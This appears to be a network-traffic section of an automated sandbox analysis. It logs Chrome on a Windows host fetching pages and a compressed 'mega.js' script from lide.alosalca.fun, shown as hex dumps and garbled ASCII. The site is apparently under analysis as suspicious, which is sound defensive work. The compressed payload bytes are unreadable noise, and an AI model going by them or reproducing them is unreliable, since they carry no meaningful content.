Apr 25, 2024 21:44:57.132277966 CEST	1289	IN	Data Raw: 4e 79 ea 70 de 08 cb a8 7b 3a cc f8 c3 ca 5c 52 59 7e 2a 84 65 25 8c c2 f1 9a e9 d1 03 5a 52 b6 c7 e9 f9 68 1c 92 92 58 44 aa b1 b1 96 bd f5 64 29 8e dd 28 18 de bc fd 92 2d 73 6e 9c 51 9c c2 1d 8b 38 34 89 72 b9 0c 8b 4b 5b ab dc 93 b0 a7 d7 de Data Ascii: Nyp{:\RY~e%ZRhXDd)(-snQ84rK[:>M7o%pij];DOx4fr0L3<".Ja\|Wd.\|;}nqaVNrd*iJ-%;9m0Btz"ZR$e2(o0M=(]w.SKZ/,
Apr 25, 2024 21:44:57.132316113 CEST	1289	IN	Data Raw: 4b 37 69 89 a3 24 56 c0 d2 ca 74 e0 8b 3e 26 56 8a 67 24 8f 7b 53 1c 98 e1 a9 f7 2f d7 7d 78 f7 01 2a bd 72 cf 2f 34 1f 0a 32 53 14 17 f1 12 06 33 57 e2 79 17 89 b2 be 44 7b 4d 2a 15 3d d6 6d 86 8c e8 30 6a d2 a7 20 d1 cc b7 86 6c be 81 84 ce d0 Data Ascii: K7i$Vt>&Vg${S/}xr/42S3WyD{M=m0j l_ysC#bBlE^\|Vt5`YmCa<$?DexdH~%z+E ~EJEtuyO/~63Q$b*'$~r#1`D$z$g\Q&7zG
Apr 25, 2024 21:44:57.132360935 CEST	1289	IN	Data Raw: b8 c0 25 dd 46 39 d4 dd 4a 59 1c 47 6c c2 86 2b 50 8f 17 08 7e e3 36 62 48 36 17 84 28 4f 81 6c e2 8c c7 b4 1e fd c0 15 ee 82 6f 46 e2 99 06 51 f0 f7 30 45 3e 4c 38 44 49 53 52 63 34 94 d7 08 86 0a d0 25 28 f1 e9 f9 8b df 37 86 80 01 89 bd f7 6d Data Ascii: %F9JYGl+P~6bH6(OloFQ0E>L8DISRc4%(7m<.SZh=6RT}wHnU-/.JQZ5ig x#+BDl! "i?b>7X+(wrf8eLyht!44I#{t)@sI8Dt<
Apr 25, 2024 21:44:57.132669926 CEST	1289	IN	Data Raw: 2d 4b e8 4f c0 0b da 5a cf 2d ab 63 2a 70 07 ce 2d f3 0c 0c b3 f5 dc fa 08 10 0c ba 9c 93 80 68 3d b7 f2 c3 b1 80 fb 69 f1 fa e6 00 09 22 0d af d0 7e 1e ce 5c 15 6e d5 95 9b bc db 7a 6e d9 5e 6e c1 ed c8 a8 9f ac 61 48 7d db ab e1 56 9e 91 d9 39 Data Ascii: -KOZ-c*p-h=i"~\nzn^naH}V9d{AzFw[m4[Un]znu2'1t]_f+d[IBH?k=.>h[hoZ$_G.HeZDfskmU+o(qKY2w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49714	104.21.1.57	80	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Apr 25, 2024 21:44:57.090385914 CEST	329	OUT	GET /highbox/mega.js HTTP/1.1 Host: lide.alosalca.fun Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Referer: http://lide.alosalca.fun/highbox/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Apr 25, 2024 21:44:57.494172096 CEST	1289	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 19:44:57 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: keep-alive Last-Modified: Wed, 17 Apr 2024 14:39:34 GMT Cache-Control: max-age=14400 CF-Cache-Status: REVALIDATED Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SVTo34Dm5AOq3neax45tASU0IabNnSDGYYQP92C7IrraW2maCGGDG1fftohV7y%2Fm5%2BPW5neugqgsdx7ZF%2B3fEzg9653hj8dF2PuSfpEiQoodJdQFu%2BsyBHp4Bk4G8f%2BMjfP9kg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 87a0d4a52dc86742-ATL Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 35 30 30 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 9c bd e7 92 5b 39 b2 2e fa ff 3c c5 ec dd 27 86 aa 56 55 cf f2 46 0a c5 5c 7a b2 e8 7d b1 74 3b 26 b0 b0 d6 a2 f7 b6 d8 ad 77 3f 91 5f 82 64 91 2a ed 6b fe a8 44 12 48 00 89 44 7a 24 e4 62 be d9 fe 63 3a 92 d1 7c 13 fd 27 9a 89 d1 f4 1f df fe f1 df c1 7a 24 e6 93 f9 e2 b0 35 cc ff 6b 40 df fe 21 17 b3 ff fe fa bf e4 4d fb ed 62 12 cd a9 bd eb a4 52 c9 27 3b 9b 35 ac 27 5d b3 0c eb c9 d4 5d df 79 4a fb 6e d2 7f 32 b2 8e 95 7b b2 33 4f ba fb a4 9b a6 e5 3c 69 be 75 01 b6 14 83 e8 3f db b7 65 44 80 6a 71 3c 92 d1 7f 66 8b f9 76 78 69 b1 8e c2 d1 3a 92 db 6f ff 3d dc 6e 97 9b 2f ff fa d7 02 cd 68 4e ff fa ef af ff eb 53 bc 9b cb ed 68 31 ff f4 1f ed 68 d9 ae e3 e8 8f ff d1 8e 46 28 62 11 3f fc 75 fe f5 1f ff d1 8e a6 ed f9 ba 47 ed 4c cf 77 6d ff 11 df b9 66 ec d0 ff 6c db 8b 62 13 ff 0b 1c 2d c2 77 66 18 da 9e f5 f0 d7 3a da ee d6 80 61 3b 96 fe e9 f2 cb d3 3f 9e b4 a3 e1 69 57 48 0f 5f 7f bc 1f d2 b2 6d cf b6 a8 83 ed 99 91 cb 0d 35 cd d3 43 fa 9f 6e 99 a1 8d 81 74 c7 75 03 0c ae 47 86 f4 ed 8f 86 e4 36 4f 09 1a 4a 4b 3c 5e 60 de 0d a9 c7 8e 26 6d 74 f0 2c df 8a a9 a1 f0 2d 57 00 bc 19 f9 8e 2f e9 7f b1 d0 3d db 03 ae 3c 37 88 8d 0f 87 04 84 a7 7f d0 a0 86 61 24 ae b0 1e be fe d8 8b 35 b0 1a bb 96 ee 7c bb 60 ff d3 c3 d7 1b a4 07 86 eb 08 6c 8e 2e 23 0f ab b5 5c dd 34 80 7e 2b 30 bc 28 a2 ff 45 b6 26 63 4c cc 74 c2 d8 f1 3f 9a 0e 43 e0 e9 98 ae 4c bc 6b 7d 8b 03 d3 8c 34 17 83 9a 22 36 7c 1e 2a f2 43 8f d1 1e ba 5e 64 01 81 86 a6 cb 00 bf 3a be 66 79 1f 0e 8a 7e c0 80 27 78 48 c0 7c f8 fa e3 30 1c 4d a3 4f ff f5 5f df ff 7c f8 6b bb 7e fb 4b 61 c4 f2 1c 4d 84 df 96 62 bd 89 8a f3 ed a7 2b 1d 24 b4 a3 13 f9 89 c7 84 76 b4 23 27 f1 a8 1d 7d 5b a3 4f ae Data Ascii: 500a[9.<'VUF\z}t;&w?_dkDHDz$bc:\|'z$5k@!MbR';5']]yJn2{3O<iu?eDjq<fvxi:o=n/hNSh1hF(b?uGLwmflb-wf:a;?iWH_m5CntuG6OJK<^`&mt,-W/=<7a$5\|`l.#\4~+0(E&cLt?CLk}4"6\|C^d:fy~'xH\|0MO_\|k~KaMb+$v#'}[O
Apr 25, 2024 21:44:57.494200945 CEST	1289	IN	Data Raw: c5 9f 3c f9 f0 f0 af 4f da 31 94 de 67 ed a8 eb 81 f1 f9 89 b6 d4 f5 1f 3e 3f bd 07 a8 56 98 a0 99 7b d4 d5 8a 5c fa d7 92 8f da d1 8d 22 02 ea 78 32 c1 e0 82 df 69 24 82 a8 c5 21 20 ba 8e f1 bb 76 d4 1f 7e ff f4 01 54 ed e8 da 1a c1 b1 3c 82 e3 Data Ascii: <O1g>?V{\"x2i$! v~T<YFr,z];b+Id%?ADI;u5c#4wjizt)\0jb_.M2]\zuIGZ:]B:Xu>c]#0_
Apr 25, 2024 21:44:57.494220018 CEST	1289	IN	Data Raw: e7 fb f5 00 69 47 17 2c de f6 21 2f cd 18 0a be e9 81 77 9b 06 09 86 db 7e 8a 5a 08 00 f4 6a d3 53 6a 26 ab 8b 01 b3 59 43 98 89 87 3f 1f 3f 1a f1 2a 5c 42 62 f8 31 b8 be 8c c1 be 65 90 78 f8 f3 e1 01 46 9d 1e 4a ef fb 75 d3 21 c5 d0 cd f7 3d 52 Data Ascii: iG,!/w~ZjSj&YC??*\Bb1exFJu!=RLC2WCIuP:0BbK!%tU>\|NHiAlNhG.P!}#4]0E!$mPiuacIP_1uo(C
Apr 25, 2024 21:44:57.494239092 CEST	1289	IN	Data Raw: 0a 4d 67 95 d3 d6 03 c3 b0 d9 db ea 86 6c e9 9b 5e 64 fa 1f fa 5c 18 02 86 e4 50 0f 03 7a a7 42 48 5b 0b dc 6f 97 8d 78 77 82 f8 84 dc ec 8c 1f 9a e0 3b 9a e2 3f 26 33 3c 37 56 1c 45 3a 8c 72 b5 04 08 46 0e 91 28 0b 4a 63 ae ed b9 bc 11 66 4c c2 Data Ascii: Mgl^d\PzBH[oxw;?&3<7VE:rF(JcfL+7Tv:{XC8o<\|N(/7uL1d=WlM4fHP>Q%7$ExLJf7<DUWCHYLf\][D$m.Q8~uyXyW02=-:faU60v![9P
Apr 25, 2024 21:44:57.494270086 CEST	1289	IN	Data Raw: 85 3e 10 37 7e 99 e6 f1 37 ce 35 e8 fb 61 29 dc d0 fe 6c 87 e3 21 fd 0d fe b5 c1 fc 0e cb e4 8c da 6d 22 b1 a6 8d 49 0d 56 6d 3a 24 99 45 e5 44 f3 0c 56 c9 13 71 d3 e6 4b 72 47 d4 16 14 c6 13 a2 96 46 f7 34 a0 f1 45 b7 01 2e 36 de 2c 68 98 e5 69 Data Ascii: >7~75a)l!m"IVm:$EDVqKrGF4E.6,hi']""fyrEO'5n!o7B\RlOr{"\|rX8:J}SxSr~H;=L>VLO~KU0fp
Apr 25, 2024 21:44:57.494323015 CEST	1289	IN	Data Raw: 83 41 9a e6 59 5a 97 a6 c4 4b ca 8b 8e 24 22 9d bd 8e 21 ac 4f ad 55 65 0e 5e b2 39 11 6a b7 a3 b7 09 9d b1 27 b9 98 d2 38 db f5 88 b6 fb a5 b3 29 83 73 f5 e4 04 1a ef 4b bf 4a cd 72 ad e9 62 8f 66 62 4b d3 f3 8d 52 71 5e 7f a5 63 b6 e8 56 ea 74 Data Ascii: AYZK$"!OUe^9j'8)sKJrbfbKRq^cVtJ6Sx$GUj^;vFgmj68/ThlA9m6xocV`49^6f[tP+GMMB[9mKmHiwu(ml("a@ge>KpF[]vaK?
Apr 25, 2024 21:44:57.494363070 CEST	1289	IN	Data Raw: e0 53 0a e7 f3 21 f1 a5 5d 6e b9 a5 73 50 dd f7 47 d4 fe 29 1e 45 53 d8 4d a3 dc 1e f6 d6 6e 48 34 f7 9a 9b f7 e9 24 64 d3 ed 32 d1 c2 f3 22 10 84 ed f5 b6 3b 6e e1 e0 6c 68 9a f3 d1 71 43 60 c4 7a 15 91 94 0f 4b 23 d8 1e 61 7e d4 23 b0 ad f8 75 Data Ascii: S!]nsPG)ESMnH4$d2";nlhqC`zK#a~#uD7p1AL^O[L}SMOJj{Ka71$DBOMN8'b*u+sw!zN/ v:BH5gks(N6;JV^V5?m;Z}"QIe#5
Apr 25, 2024 21:44:57.494422913 CEST	1289	IN	Data Raw: 81 0a 86 50 24 8b f1 11 9e b9 65 69 8b 00 54 33 3e 35 e1 83 6f 4d 87 44 fc c7 b7 69 bb 8f c3 c3 0e ce 5a 7b d6 e9 41 12 8d 1a 07 1c 9a 97 31 e1 34 9f 29 c5 1d c4 d7 16 6b 72 c9 55 1b 95 2d 91 47 e5 35 80 64 6a e7 63 20 f1 cb bf fe 25 96 f0 c6 88 Data Ascii: P$eiT3>5oMDiZ{A14)krU-G5djc %Id'fQkne!1r5n\|jZ>Iv'dQu(B7 8cIS6e\Mu`V2_<e!&Z/3ko@VJCzIb(~c\P/c>E
Apr 25, 2024 21:44:57.494478941 CEST	1289	IN	Data Raw: de 34 e1 b0 7b 3d 21 1c 96 9b e6 26 35 58 5f 59 44 36 c2 75 0f b2 3f 77 1c 34 68 a5 cd 8c 04 27 9b 6c 7a 43 38 a9 0e 5b 04 cc 9e 46 33 1c 92 d3 ae 1c d1 3a df 46 a3 d3 00 19 46 21 7c eb 41 ad df 22 8c ed 56 59 38 c1 9b e9 ca 0c 2c 22 42 ee cd 60 Data Ascii: 4{=!&5X_YD6u?w4h'lzC8[F3:FF!\|A"VY8,"B`QO&>MY@UhHge})Wi_^mf!2;F]Vqdudow6[\|"Cv=#N\FAOPsB{!D52[6-fAZ~JC9&
Apr 25, 2024 21:44:57.494533062 CEST	1289	IN	Data Raw: 3e 5b 63 9d 90 70 da 68 14 e9 04 29 c6 5b ec d4 4f f4 f5 29 bf 82 3f 6d f1 1a 2e db 90 cf b9 0d 4d b5 53 2f 41 e2 f4 a2 53 89 b6 6c d4 8d 62 22 ac 5a 71 27 21 ff 26 5b 28 12 b5 41 f0 da c4 ef c9 67 9a bb e7 d9 4f 74 a5 a2 3d 64 2f 13 cd 27 1d 8f Data Ascii: >[cph)[O)?m.MS/ASlb"Zq'!&[(AgOt=d/'qyvx#@@0[yU,#=Z!7R ~SxjNywd[/+{$Gk7<\| 5N-V:*J[A
Apr 25, 2024 21:44:57.495029926 CEST	1289	IN	Data Raw: ae e7 07 5c 48 c5 d0 7d 8f 87 76 4c 19 1a 5c 50 c1 f2 3c be 44 ac f9 be a1 7d 78 5d 15 ad 51 2d 49 7b bc 40 fc e9 9a 70 6c 62 b8 58 77 34 dc 84 75 7d 2f 74 f8 d2 6a 1c 06 5c f1 c7 76 fc d0 51 f5 43 5c 37 fa b0 08 17 b7 e1 d5 7b 5c 2a 89 01 bc 5b Data Ascii: \H}vL\P<D}x]Q-I{@plbXw4u}/tj\vQC\7{\*[rS)4is)e\|).zeD3qE~+w-\|8\|c!6zIuXaG8"Wf2OZqFTs7'Jk=~SU'+\|h\
Apr 25, 2024 21:44:59.960308075 CEST	386	OUT	GET /favicon.ico HTTP/1.1 Host: lide.alosalca.fun Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://lide.alosalca.fun/highbox/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Apr 25, 2024 21:45:00.342108965 CEST	920	IN	HTTP/1.1 404 Not Found Date: Thu, 25 Apr 2024 19:45:00 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FIyQVkwzx0sksU4iFvdE8zqnQh%2BJihIYzoGpPGBZGwu3ib1RTTCUOJGjS7rIR177a7wFS%2FofHMQEXnL6gTtRJr1UKdAag1fRdOR%2BRVl6BwqxcKOZy%2B4jC1GY2N8WKbMrWeKwiw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 87a0d4b71cac6742-ATL Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 65 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 55 90 c1 6e c2 30 10 44 ef fe 8a 29 e7 96 85 8a a3 65 a9 25 41 20 a5 14 55 e1 d0 a3 c1 5b 6c 29 d8 d4 d9 14 e5 ef ab 84 4a 6d af b3 6f 76 67 56 df 15 af cb fa 7d 57 62 5d bf 54 d8 ed 9f ab cd 12 93 07 a2 4d 59 af 88 8a ba b8 4d 1e a7 33 a2 72 3b 31 4a 7b 39 37 46 7b b6 ce 28 2d 41 1a 36 8b d9 02 db 24 58 a5 2e 3a 4d 37 51 69 1a 21 7d 48 ae 1f 7c 73 f3 87 f1 73 a3 f4 c5 d4 9e 91 f9 b3 e3 56 d8 61 ff 56 e1 6a 5b c4 24 f8 18 38 a4 08 f1 a1 45 cb f9 8b f3 54 d3 65 b4 3d 39 17 24 a4 68 9b a6 bf 87 c5 bf 00 8a 73 4e 79 5c c4 f1 98 ba 28 9c d9 e1 ea 43 c3 90 dc 87 78 82 24 74 2d c3 46 94 03 5c a4 63 77 e6 28 83 ee 6d 74 03 f8 9b ec e7 2c 8d 45 34 8d 0f 50 df 59 3c e4 fe 3b 01 00 00 0d 0a Data Ascii: eeUn0D)e%A U[l)JmovgV}Wb]TMYM3r;1J{97F{(-A6$X.:M7Qi!}H\|ssVaVj[$8ETe=9$hsNy\(Cx$t-F\cw(mt,E4PY<;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49715	104.21.1.57	80	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Apr 25, 2024 21:44:57.248467922 CEST	376	OUT	GET /cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js HTTP/1.1 Host: lide.alosalca.fun Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Referer: http://lide.alosalca.fun/highbox/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Apr 25, 2024 21:44:57.372350931 CEST	1289	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 19:44:57 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: keep-alive Last-Modified: Fri, 19 Apr 2024 20:54:07 GMT ETag: W/"6622d9ef-4d7" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FlfLaW9S9Xm4zEXKO%2BijYFS%2BccAdy0Ev3noKp0VJoVylKs2htVrXVb59O%2FVXuXkDNHas2asvCM25drEebtsVlxKf2kTfAxQEYlSjR16kuygjr6f1%2BjX%2FB9YUPV%2BoVH10Q4AdJA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 87a0d4a62ec74564-ATL X-Frame-Options: DENY X-Content-Type-Options: nosniff Expires: Sat, 27 Apr 2024 19:44:57 GMT Cache-Control: max-age=172800 Cache-Control: public Content-Encoding: gzip Data Raw: 32 38 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 54 5d 6b db 30 14 7d df af c8 34 68 24 ac 38 6d 1f f6 50 47 1d 25 0c 56 d8 07 ac dd 53 c8 82 2a 5d 27 02 45 72 af af 4b 4b e2 ff 3e e4 d8 4d b6 3d 6c 60 30 3e 57 f7 9e 73 ee 11 7e 5b 36 c1 90 8b 81 8b 1d 6b 6a 18 d5 84 ce 10 2b 06 7c 04 1c c4 8e f0 65 e7 4a ce 9a 60 a1 74 01 2c 53 8a 5e 2a 88 e5 c8 c4 50 47 0f 02 81 1a 0c 05 03 c4 88 cc 85 a1 f0 a1 7f e7 5d 81 83 b8 1a 00 1f d7 1c 44 6b 34 99 4d 22 69 db 57 52 4a df 87 89 23 9b bb 10 00 3f dd 7f f9 ac c6 33 3d da 20 94 8a 8d 33 c8 11 2a af 0d f0 29 9b ae 25 3b 7b 6c 22 15 4c 64 63 76 3d 9b ea eb b1 b4 b9 d9 38 6f bf 46 0b f5 e2 7c 99 af 81 6e 88 d0 3d 34 04 9c a5 39 4c ec f7 8c 1d 79 91 83 24 b1 7b d2 38 42 05 79 dd 3c d4 84 9c e4 a5 28 7a 35 95 c6 1a 6e 03 71 94 17 ef c5 b1 33 f0 20 8d d8 95 11 79 ea 8e 8a 31 a9 15 76 a8 74 ca 64 97 85 9b 85 dc 43 58 d3 a6 70 99 ba 3c d0 f8 ee 8c 13 3f 75 11 33 75 47 e8 c2 3a 2f 31 6e e7 1b 8d f3 68 81 7b d1 a6 f5 47 65 c1 44 0b 3f be df ce e3 b6 8a 01 02 71 a8 8d ae 80 47 31 ac b1 11 3b e0 8d 68 7b b5 c4 e3 89 46 c3 e9 a8 10 15 e5 8f 0d e0 cb 1d 78 30 14 f1 c6 7b ce 34 13 d2 a8 f3 c2 cc 70 d0 6a b2 4c 24 01 07 5b b8 30 4b a9 55 cc d3 fa 72 17 2c 3c 7f 2b b9 17 85 be 9e 5c 9c 9d f1 43 41 b1 ad 76 9e e2 15 cb 42 0f 49 9d f9 7e e4 ab 5a 97 d4 3a 71 12 7c fc a7 c4 e6 7f 05 56 1a 21 50 0a 5f 3a 15 7f 0f bf 14 85 2b 13 fd 21 82 c0 9d 3c 17 d2 2a 1b 4d b3 85 40 b9 41 d0 04 f7 f0 dc 0d e8 fc 0d d7 6d 9e ee 14 b7 32 8a Data Ascii: 28fT]k0}4h$8mPG%VS]'ErKK>M=l`0>Ws~[6kj+\|eJ`t,S^PG]Dk4M"iWRJ#?3= 3)%;{l"Ldcv=8oF\|n=49Ly${8By<(z5nq3 y1vtdCXp<?u3uG:/1nh{GeD?qG1;h{Fx0{4pjL$[0KUr,<+\CAvBI~Z:q\|V!P_:+!<M@Am2
Apr 25, 2024 21:44:57.372374058 CEST	173	IN	Data Raw: b6 b7 b1 49 36 36 a7 36 f4 3f 6d 30 82 6d e5 35 01 13 32 a8 f3 22 1c fd 84 de 8f e3 b8 08 cb dc c4 40 10 68 d8 99 49 64 e6 94 cc 25 b2 d4 90 f2 95 69 83 32 f1 f7 e7 31 9d 47 d1 b6 07 ab 6c 6a 6c 98 98 b5 9b fa 29 a4 90 26 15 46 82 6e d2 3b 26 1b Data Ascii: I666?m0m52"@hId%i21Gljl)&Fn;&Z1Y*f5);g=1Q8><$z8im0sgUu?~9e'g)fk
Apr 25, 2024 21:44:57.372391939 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Apr 25, 2024 21:45:42.384609938 CEST	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49710	172.67.128.161	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:44:55 UTC	667	OUT	GET /highbox HTTP/1.1 Host: lide.alosalca.fun Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:44:56 UTC	653	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 25 Apr 2024 19:44:56 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Location: http://lide.alosalca.fun/highbox/ CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jDNFlOhCbtfWQ1qbobC%2BdqZ%2FaZd00qzS%2FOKc0GTisPUZ4j1%2BpXo7RlEFVodIDKuXji%2FgU4zFw6rpt11V17bl2UgbrDLUtpBkjImZDrAFs1GRXqSjUGK5C%2FiY2UHqhhvK9W6%2FFA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a0d49e4834b0eb-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 19:44:56 UTC	248	IN	Data Raw: 66 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6c 69 64 65 2e 61 6c 6f 73 61 6c 63 61 2e 66 75 6e 2f 68 69 67 68 62 6f 78 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: f2<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://lide.alosalca.fun/highbox/">here</a>.</p></body></html>
2024-04-25 19:44:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49717	151.101.2.137	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:44:57 UTC	658	OUT	GET /jquery-3.7.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: http://lide.alosalca.fun sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: http://lide.alosalca.fun/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:44:57 UTC	566	IN	HTTP/1.1 200 OK Connection: close Content-Length: 70264 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-11278" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 801417 Date: Thu, 25 Apr 2024 19:44:57 GMT X-Served-By: cache-lga21942-LGA, cache-pdk-kpdk1780096-PDK X-Cache: HIT, HIT X-Cache-Hits: 12, 0 X-Timer: S1714074298.591426,VS0,VE1 Vary: Accept-Encoding
2024-04-25 19:44:57 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 37 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 64 65 70 72 65 63 61 74 65 64 2f 61 6a 61 78 2d 65 76 65 6e 74 2d 61 6c 69 61 73 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 Data Ascii: /*! jQuery v3.7.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-deprecated/ajax-event-alias,-effects,-effects/animatedSelector,-effects/Tween \| (c) OpenJS Foundation and oth
